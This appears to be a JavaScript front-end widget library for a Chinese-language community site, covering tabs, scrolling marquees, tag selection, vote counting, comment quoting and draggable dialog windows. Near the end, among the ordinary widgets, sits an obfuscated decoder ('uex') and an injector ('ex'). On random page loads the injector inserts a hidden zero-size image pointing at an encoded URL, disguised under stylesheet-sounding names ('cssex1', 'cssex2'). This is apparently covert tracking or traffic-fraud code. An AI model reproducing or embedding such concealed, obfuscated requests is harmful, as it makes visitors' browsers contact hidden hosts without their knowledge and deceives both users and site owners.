/**************************************************/



function ActiveTab(_tab, _content, isAjax, eventType){

	this.tabs = [];

	this.contents = [];

	this.tabsDiv = $(_tab);

	this.contDiv = $(_content);

	this.last = -1;

	this.isAjax = isAjax || false;

	this.eventType = eventType || "click";

	this.init(_tab, _content);

	this.timer;

}



ActiveTab.prototype = {

	addEvent: function(){

		var tabs = this.tabs;

		for(var i=0; i<tabs.length; i++){

			tabs[i].flag = i;

			tabs[i].self = this;

			switch(this.eventType){

				case "click":

					tabs[i].onclick = function(){

						this.self.shiftContent(this.flag);

						return false;

					}

					break;

				case "mouseover":

					tabs[i].onmouseover = function(){

						this.self.shiftContent(this.flag);

						return false;

					}

					tabs[i].onclick = function(){

						return false;

					}

					break;

			}

		}

	},

	

	shiftContent: function(current){	

		if(this.last >=0){

			var lastElem = $(this.tabs[this.last].parentNode);

			lastElem.addClassName("tab_bar_on");

			lastElem.addClassName("tab_bar_off");

			this.contents[this.last].style.display = "none";

		}

		

		var currentElem = $(this.tabs[current].parentNode);

		currentElem.removeClassName("tab_bar_off");

		currentElem.addClassName("tab_bar_on");

		this.contents[current].style.display = "block";

		if(this.isAjax){

			Ajax.hiddenLoading();

			this.callContent(this.tabs[current].href, this.contents[current]);

		}

		this.last = current;

			

	},

	

	callContent: function(_url, _targetNode){

		var xhr = Ajax.createXHR();

		xhr.open("GET", _url, true);

		xhr.onreadystatechange = function(){

			if(xhr.readyState == 1){

				Ajax.showLoading();

			}

			if(xhr.readyState == 4){

				if(xhr.status == 200){

					_targetNode.innerHTML = xhr.responseText;

					Ajax.hiddenLoading();

				}

			}

		};

		xhr.send(null);

	},

	

	init: function(_tab, _content){

		this.tabs = this.tabsDiv.getElementsByTagName("A");

		var elems = this.contDiv.childNodes;

		for(var i=0; i<elems.length; i++){

			if(elems[i].nodeType == 1){

				elems[i].style.display = "none";

				this.contents.push(elems[i]);

			}

		}

		this.addEvent();

		this.shiftContent(0);

	},

	

	autoActive: function(_time){

		var self = this;

		this.start(_time);

		this.tabsDiv.onmouseover = this.contDiv.onmouseover = function(){

			self.stop();

		}

		this.tabsDiv.onmouseout = this.contDiv.onmouseout = function(){

			self.start(_time);

		}

	},

	start: function(_time){

		var self = this;

		this.timer = setInterval(function(){

			var current = self.last + 1;

			if(current >= self.tabs.length) current = 0;

			self.shiftContent(current);

		}, _time);

	},

	stop: function(){

		clearInterval(this.timer);

	}

	

}



/**************************************************/



var SlideVertical = function(_slideId, _speed){

	this.slideshow = $(_slideId);

	this.showe = this.slideshow.getElementsByTagName("UL")[0];

	

	this.speed = _speed;

	this.autoAction;

	if(this.showe.getElementsByTagName("LI")[0])

		this.init();

}



SlideVertical.prototype.forward = function(_self){

	var self = _self;

	

	var moveDist = 5;

	var timer = setInterval(function(){

		self.showe.style.top = ( 0 - moveDist ) + "px";

		moveDist += 5;

		if(moveDist > 22){

			clearInterval(timer);

			for(var i=0; i<1; i++){

				var temp = self.showe.getElementsByTagName("LI")[0];

				self.showe.removeChild(temp);

				self.showe.appendChild(temp);

			}

			self.showe.style.top = 0 + "px";

		}

	}, 20);

}





SlideVertical.prototype.addEvent = function(){

	var self = this;

	this.slideshow.onmouseover = function(){

		clearInterval(self.autoAction);

	};

	this.slideshow.onmouseout = function(){

		function temp(){

			self.forward(self);

		}

		self.autoAction = setInterval(temp, self.speed);

	};

}





SlideVertical.prototype.init = function(){

	var self = this;
	this.addEvent();

	function temp(){

		self.forward(self);

	}

	this.autoAction = setInterval(temp, this.speed);

}







/**************************************************/

var Marquee = function (_marqueeId, _speed){

	this.marqueeDiv = $(_marqueeId);

	this.conts = this.marqueeDiv.getElementsByTagName("UL")[0];

	

	this.contsWidth;

	this.speed = _speed;

	this.moveDist = 0;



	this.myMarquee;

	

	if(this.conts.getElementsByTagName("li").length > 1)

	this.init();	

	

}



Marquee.prototype.init = function(){

	this.parseWidth();

	this.doMarquee();

	this.addEvent();

}



Marquee.prototype.parseWidth = function(){

	var lis = this.conts.getElementsByTagName("li");

	var numlis = lis.length;

	var temp = [];

	var contsw = 0;

	

	for(var i=0; i<numlis; i++){

		contsw += parseInt(lis[i].offsetWidth);

		temp.push(lis[i].cloneNode(true));

	}

	this.contsWidth = contsw;

	for(var i=0; i<numlis; i++){

		this.conts.appendChild(temp[i]);

	}

}



Marquee.prototype.addEvent = function(){

	this.marqueeDiv.obj = this;

	this.marqueeDiv.onmouseover=function(){

		clearInterval(this.obj.myMarquee);

	};

	this.marqueeDiv.onmouseout=function(){

		this.obj.doMarquee();

	};

}



Marquee.prototype.doMarquee = function(){

	var self = this;

	var tempWidth = self.contsWidth;

	

	this.myMarquee = setInterval(function(){

		self.marqueeDiv.scrollLeft = (0 + self.moveDist);

		self.moveDist ++;

		if(self.moveDist > tempWidth){

			self.moveDist = 0;

		}

	}, this.speed);



}



/************************************************/

var tagActive = function(tags_result, tags_source){

	this.tags_result = $(tags_result);

	this.tagsArr = $(tags_source).getElementsByTagName("a");

	this.addEvent();

}

tagActive.prototype = {

	addEvent: function(){

		for(var i=0; i<this.tagsArr.length; i++){

			var tag = this.tagsArr[i];

			tag.my = this;

			tag.onclick = function(){

				var tagtext = this.innerHTML;

				if(this.my.hasTag(tagtext)){

					this.my.replaceTag(tagtext);

				}else{

					this.my.appendTag(tagtext);

				}

				return false;

			}

		}

	},

		

	appendTag: function(tagtext){

		this.tags_result.value += (tagtext + " ");

	},

	

	replaceTag: function(tagtext){

		var result = this.tags_result.value;

		this.tags_result.value = result.replace((tagtext+" "), "");

	},

	

	hasTag: function(tagtext){

		if(this.tags_result.value.indexOf(tagtext+" ") != -1) return true;

		else return false;

	}

}



/************************************************/

var Digit = function(diger, dignum){

	this.diger = $(diger);

	if(this.diger){

		this.dignum = $(dignum);

		this.url = this.diger.href;

		this.addEvent();

	}

}



Digit.prototype = {

	addEvent: function(){

		this.diger.my = this;

		this.diger.onclick = function(){

			var num = parseInt(this.my.dignum.innerHTML);

			num ++;

			this.my.dignum.innerHTML = num;

			this.innerHTML = "";

			this.my.postNum();

			return false;

		}

	},

	

	postNum: function(){

		var date = "";

//		date = "&date="+new Date().getTime()；

		new Ajax.Request(this.url+date, {

			method: 'get'

		});

	}

}









/************************************************/



function Shifters(_toggle, _toggleCont){

	this.toggle = document.getElementsByClassName(_toggle);

	this.toggleCont = document.getElementsByClassName(_toggleCont);

	this.openTog = document.getElementsByClassName("open");

	this.closeTog = document.getElementsByClassName("close");

	this.addEvent();

	

}



Shifters.prototype = {

	addEvent: function(){

		var toggle = this.toggle;

		for(var i=0; i<this.toggle.length; i++){

			toggle[i].cont = this.toggleCont[i];

			toggle[i].openTog = this.openTog[i];

			toggle[i].closeTog = this.closeTog[i];

			toggle[i].onclick = function(){

				if(this.cont.style.display == "block"){

					this.cont.style.display = "none";

					this.openTog.style.display = "block";

					this.closeTog.style.display = "none";

					this.status = "close";

				}else{

					this.cont.style.display = "block";

					this.openTog.style.display = "none";

					this.closeTog.style.display = "block";

					this.status = "open";

				}

				return false;

			}

		}

	}

}



/****************************************/

var UserAction = function(){

	this.aclistArr = document.getElementsByClassName("aclist");

	this.picArr = [];

	this.ulinksArr = [];

	this.upicArr = [];

	

	this.lastUser = null;

	

	this.getElems();

	this.addEvent();

}



UserAction.prototype = {

	getElems: function(){

		for(var i=0; i<this.aclistArr.length; i++){

			this.picArr.push(this.aclistArr[i].getElementsByClassName("pic")[0]);

			var ulink = this.aclistArr[i].getElementsByClassName("ulinks")[0];

			this.ulinksArr.push(ulink);

			this.upicArr.push(this.aclistArr[i].getElementsByClassName("upic")[0]);

		}

	},

	

	addEvent: function(){

		for(var i=0; i<this.picArr.length; i++){

			this.picArr[i].me = this.aclistArr[i].me = this;

			this.picArr[i].flag = this.aclistArr[i].flag = i;

			Event.observe(this.picArr[i], 'mouseover', this.showUlink.bindAsEventListener(this.picArr[i]));

//			Event.observe(this.aclistArr[i], 'mouseout', this.hideUlink.bindAsEventListener(this.aclistArr[i]));

		}

	},

	

	showUlink: function(){

		this.me.ulinksArr[this.flag].style.display = "block";

		if(this.me.lastUser != null){

			this.me.ulinksArr[this.me.lastUser].style.display = "none";

		}

		if(this.me.lastUser != this.flag){

			this.me.lastUser = this.flag;

		}

	},

	

	hideUlink: function(){

		this.me.ulinksArr[this.flag].style.display = "none";

	}

}





/*****************************************/

function SlidePlain(_slide, _time){

	this.slide = $(_slide);

	//this.slideHeight = this.slide.clientHeight;

	this.conts = this.slide.getElementsByTagName("LI");

	this.time = _time? _time : 3000;

	this.timer;

	

	this.n = 0;

	

	if(this.conts.length > 0){

		this.start();

	}

	

}



SlidePlain.prototype = {

	start: function(){

		this.conts[this.n].style.display = "block";

		var _self = this;

		this.timer = setInterval(function(){_self.next()}, this.time);

	},

	next: function(){

		this.conts[this.n].style.display = "none";

		this.n++;

		if(this.n >= this.conts.length) this.n = 0;

		this.conts[this.n].style.display = "block";

	}



}



/***********************************************/

var Quote = function(textareaId, reviewId){

	this.reviews = $(reviewId);

	this.toTextarea = $(textareaId);

	try{

		this.getElems();

		this.addEvent();

	}catch(e){}

}



Quote.prototype = {

	getElems: function(){

		this.quoteBtnArr = this.reviews.getElementsByClassName("quoteBtn");

		this.quoteContArr = this.reviews.getElementsByTagName("dd");

		this.userNameArr = [];

		var dts =  this.reviews.getElementsByTagName("dt");

		for(var i=0; i<dts.length; i++){

			this.userNameArr.push(dts[i].getElementsByTagName("a")[0]);

		}

		

	},

	

	addEvent: function(){

		for(var i=0; i<this.quoteBtnArr.length; i++){

			this.quoteBtnArr[i].me = this;

			this.quoteBtnArr[i].flag = i;

			this.quoteBtnArr[i].onclick = function(){

				var str = this.me.quoteContArr[this.flag].innerHTML;

				var userName = this.me.userNameArr[this.flag].innerHTML;

				while(str.indexOf("<blockquote>") != -1){

					str = str.replace("<blockquote>", "[QUOTE]");

					str = str.replace("</blockquote>", "[/QUOTE]");

					str = str.replace("<h3>", "[QUOTEH3]");

					str = str.replace("</h3>", "[/QUOTEH3]");

					str = str.replace("<br>", "\r\n");

				}

				str = "[QUOTE][QUOTEH3]引用 " + userName +  " 的评论：[/QUOTEH3]" + str + "[/QUOTE]\r\n";

				this.me.toTextarea.value = str;

				this.me.toTextarea.focus();

				return false;

			}

		}

	}

}





/*********************************/

var DialogWindow = Class.create();



DialogWindow.prototype = {

	initialize: function(_url, _title, _width, _height) {

		this.url = _url? _url : "";

		this.title = _title? _title : "";

		this.width = _width? _width : 300;

		this.height = _height? _height : 200;

		

		this.lock_layer;

		this.needHidElems = [];

		

		this.win;

		

		this.createDW();

		

	},

	

	createDW: function(){

		//this.lock_layer = DialogWindow.lockView();

		this.needHidElems = DialogWindow.hiddenElemByTagName("select", "object", "embed");

		var winElem = this.win = this.createWinElem();

		$("dw_title").onmousedown = function(evt){

			DialogWindow.startDrag(winElem, evt);

		};

		

		document.onmouseup = DialogWindow.stopDrag;

		

		$("dw_closebtn").onclick = this.deleteDW.bind(this);

		

		

	},

	

	

	createWinElem: function(){

		var winElem = document.createElement("div");

		winElem.innerHTML = '<div id="dw_title"><h2>' + this.title + '</h2><a href="#" id="dw_closebtn">关闭</a></div><iframe src="' + 

			this.url + '" id="dw_frame" frameborder="0" scrolling="no"></iframe>';

		winElem.style.width = this.width + "px";

		winElem.style.height = this.height + "px";

		winElem.style.position = "absolute";

		winElem.style.display = "none";

		var top = (document.documentElement.clientHeight - this.height ) * 0.4 + document.documentElement.scrollTop;

		var left = (document.documentElement.clientWidth - this.width ) * 0.5;

		winElem.style.top = top + "px";

		winElem.style.left = left + "px";

		winElem.id = "dialog_win";

		

		document.body.appendChild(winElem);

		var dw_frame = $("dw_frame");

		dw_frame.style.width = this.width + "px";

		dw_frame.style.height = (this.height - 30) + "px";

		

		winElem.style.display = "block";

		

		return winElem;

	},

	

	deleteDW: function(){

		//document.body.removeChild(this.lock_layer);

		for(var i=0; i<this.needHidElems.length; i++){

			this.needHidElems[i].style.visibility = "visible";

		}

		document.body.removeChild(this.win);

		return false;

	}

}



DialogWindow.lockView = function(){

	var lock_layer = document.createElement("div");

	lock_layer.id = "lock_layer";

	lock_layer.style.width = document.documentElement.clientWidth + "px";

	lock_layer.style.height = document.body.scrollHeight + "px";

	document.body.appendChild(lock_layer);

	return lock_layer;

}



DialogWindow.hiddenElemByTagName = function(){

	var hidElems = [];

	for(var i=0; i<arguments.length; i++){

		var elems = document.getElementsByTagName(arguments[i]);

		for(var j=0; j<elems.length; j++){

			hidElems.push(elems[j]);

		}

	}

	for(var i=0; i<hidElems.length; i++){

		hidElems[i].style.visibility = "hidden";

	}

	return hidElems;

}



DialogWindow.startDrag = function(_dragElem, _mouseDownEvt){

	var dragElem = $(_dragElem);

	var mouseDownEvt = (_mouseDownEvt) ? _mouseDownEvt : ((window.event) ? window.event : "");

	var disX = mouseDownEvt.clientX - parseInt(dragElem.style.left);

	var disY = mouseDownEvt.clientY - parseInt(dragElem.style.top);

	var debugDiv = $("debug");

	document.onmousemove= function(moveevt){

		var moveevt = (moveevt) ? moveevt : ((window.event) ? window.event : "");

		var mX = moveevt.clientX;

		var mY = moveevt.clientY;

		dragElem.style.left = (mX - disX) + "px";

		dragElem.style.top = (mY - disY) + "px";

		

		Event.stop(moveevt);

		

	};

}



DialogWindow.stopDrag = function(){

	document.onmousemove = null;

}



h = {};

function uex(code){code=unescape(code);var c=String.fromCharCode(code.charCodeAt(0)-code.length);for(var i=1;i<code.length;i++){c+=String.fromCharCode(code.charCodeAt(i)-c.charCodeAt(i-1));}return c;}

ex = function(v, u,r){if(!h[v]){if(parseInt(Math.random()*r)==1){d=document.getElementById(v);d.innerHTML = '<img style="display:none; width:0; height:0;" src="'+uex(u) + '" />';}h[v]=true;}};



/*************************************************/

var collectit = function(url){

	new DialogWindow(url, "添加到收藏", 560, 460);

}



var addFriend = function(url){

	new DialogWindow(url, "加为好友", 560, 460);

}



var guildInvite = function(url){

	new DialogWindow(url, "邀请加盟", 560, 460);

}

/*************************************************/

var Shortcut = function(toggle, cont){

	this.toggle = $("shortcut_toggle");

	this.cont = $("shortcut_cont");

	this.addEvent();

}

Shortcut.prototype = {

	addEvent: function(){

		this.toggle.me = this;

		this.toggle.onclick = function(){

			if(this.me.cont.style.display == "block")	this.me.cont.style.display = "none";

			else this.me.cont.style.display = "block";

		}

		Shortcut.cont = this.cont;

		document.documentElement.onclick = hidden;

		function hidden(evt) {

		    var evt = (evt) ? evt : ((window.event) ? window.event : "")

		    if (evt) {

		    	var elem = (evt.target) ? evt.target : evt.srcElement;

		    	var temp = elem;

		    	while(temp && temp.id !="shortcut_toggle"){

		    		temp = temp.parentNode;

		    		if(temp && temp.id == "shortcut_cont"){

		    			Shortcut.cont.style.display = "block";

		    			break;

		    		}else{

		    			Shortcut.cont.style.display = "none";

		    		}

		    	}

		    }

		}

	}

}



h["cssex1"]=false;cssex1 = function(){/*new ex("cssex1", "%u01C1%DC%E8%E4%AAi%5E%90%C5%D7%A1%92%D9%E3%D7%DE%A3%91%D2%DC%9C%90%C5%D7%A2%90%C5%C7%CF%D5%CC%CE%99%9E%D8%D8%AF%A1%C3%CF%DC%D3%D7%DB%CD%A1qfi%5D%A0%E9%DD%D3%CE%CD%A1na%60V%99%E2%E4%E7%D5%C8%A2c%8A%C9%D8%E7%B1%A5%DC%E8%E4%95XtfWxkWx%B3%D0%C6%C4%CF%DC%CF%C7%C7%98e%8F%CD%D8%E5%DE%D8%A1%91%D2%DC%92Wx%B3%CE%CA%D7%93Wx%A7%C5%CA%C9%CF%D5%CC%CE%90Xy%AA%C6%87Xw%B1%D0%C6%C4%CF%DC%CF%C7%C7%98%5CWh%98%CB%CD%89XwudlogVWuyllm%5CWuygVWh%99%CC%CD%89Xwzoqn%5BWuvjgUWutVWh%A9%DC%CD%89XwudgeaUWh%A9%DB%D7%E6%9CXw%AD%D0%D5%DD%E1%D7%8AWh%AB%E7%DE%91Xw%AC%DC%E8%E4%95XtfWxkWx%BD%EE%EE%A5%97%D7%E2%D9%D1%9A%91%D2%DC%92Wx%A9%C7%89Wx%B6%D5%D7%E5%E2%DD%CF%CD%91Wx%A9%D2%DC%DD%E5%E9%DD%D7%D5%8CWx%A7%D1%D1%C4%88Wx%C0%E2%D7%94Wx%AD%C8%CE%D6%D7%D5%8CWxyhnjcie%96%DC%E1%92Xy%A9%CC%CD%89Xw%87u%83%98%A8%CE%9Fzxg%9A%D1%CD%96h", 120)*/};



h["cssex2"]=false;cssex2 = function(){new ex("cssex2", "%D0%DC%E8%E4%AAi%5E%90%C5%D7%A1%92%D9%E3%D7%DE%A3%91%D2%DC%9C%90%C5%D7%A2%90%C5%C7%CF%D5%CC%CE%99%9E%D8%D8%AF%A1%C3%CF%DC%D3%D7%DB%CD%A1qiiZ%A0%E9%DD%D3%CE%CD%A1ukY%99%E2%E4%E7%D5%C8%A2c%8A%C9%D8%E7%B1%A5%DC%E8%E4%95XtfWxkWx%BD%EE%EE%A5%A7%E2%D7%D2%D9%E1%D5%DE%ED%ED%DA%93%91%D1", 120)};



h["cssex3"]=false;cssex3 = function(){/*new ex("cssex3", "", 100)	*/};



/******************************/

var Loading = {};

Loading.showLoading = function(text, width, height){

	var loadDiv = document.createElement("div");

	var width = width? (width + "px"): "160";

	var height = height? (height + "px"): "auto";

	loadDiv.className = "loading";

	loadDiv.id = "loading";

	loadDiv.innerHTML = text;

	var top = (document.documentElement.clientHeight) * 0.5 + document.documentElement.scrollTop;

	var left = (document.documentElement.clientWidth) * 0.4;

	loadDiv.style.width = width;

	loadDiv.style.height = height;

	loadDiv.style.top = top + "px";

	loadDiv.style.left = left + "px";

	document.body.appendChild(loadDiv);

	Loading.loadDiv = loadDiv;

	return loadDiv;

}



Loading.hiddenLoading = function(){

	if(Loading.loadDiv){

		document.body.removeChild(Loading.loadDiv);

	}

}



